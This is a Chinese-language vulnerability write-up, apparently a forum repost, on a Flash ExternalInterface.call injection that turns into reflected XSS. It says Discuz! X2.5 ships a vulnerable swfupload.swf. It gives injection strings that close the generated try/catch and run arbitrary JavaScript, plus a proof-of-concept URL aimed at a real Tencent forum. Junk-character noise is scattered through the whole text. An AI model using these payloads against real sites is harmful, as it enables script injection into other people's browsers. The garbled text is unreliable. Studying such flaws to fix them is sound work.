上回我们说
+ c/ @* ~/ i/ h" g+ q& ` H
7 U2 K9 N3 a+ ~flash.external.ExternalInterface.call($methodName, $parameter)
! y2 s8 {. t, r+ S在浏览器中执行的是3 \) @* b0 B8 \0 r& N f- F
9 w6 S0 n. k# B: ] N/ |+ S
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
4 y7 j' i8 j4 b( p- g对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
4 Z. |# `# u0 @6 w3 ]. r1 K7 P% ]
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
, U$ e0 [" ~- n8 [9 j! B8 a4 c$methodName = a())}catch(e){alert(/xss/)}//
. b# X. ]3 Y$ B7 D# z结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。3 `" y& d1 m; J/ q" L
* V, l5 p7 R+ h2 Ktry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }! e9 S# h1 C' U. c' }3 I( {
" y( u4 e+ Y* r
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )0 u, e7 ?( K- Z. \; n: c6 i* q
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
1 [& e4 E3 G. Q6 Z( j \4 f' k! e( ^. }# l( W4 e. N: h) n
% j% ?( `7 g9 e( x9 T, V, A
) d$ T9 |$ U8 c m5 k) j/ c9 e, w) A漏洞文件:upload\static\image\common\swfupload.swf# d4 R( b6 X! `' B
' V6 j8 f. @2 A2 u( U+ N- \
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf( f& e& ]& u; A8 U; P Y7 C
" T9 u3 I9 k D
1 K8 l* [0 S* Q, r$ |9 V. u漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//* q5 U5 l. U7 a' J2 m- [; ~( j
! J1 w p& S# b3 E' N. L. }; e
P. I! g9 r6 P. q8 C, W D |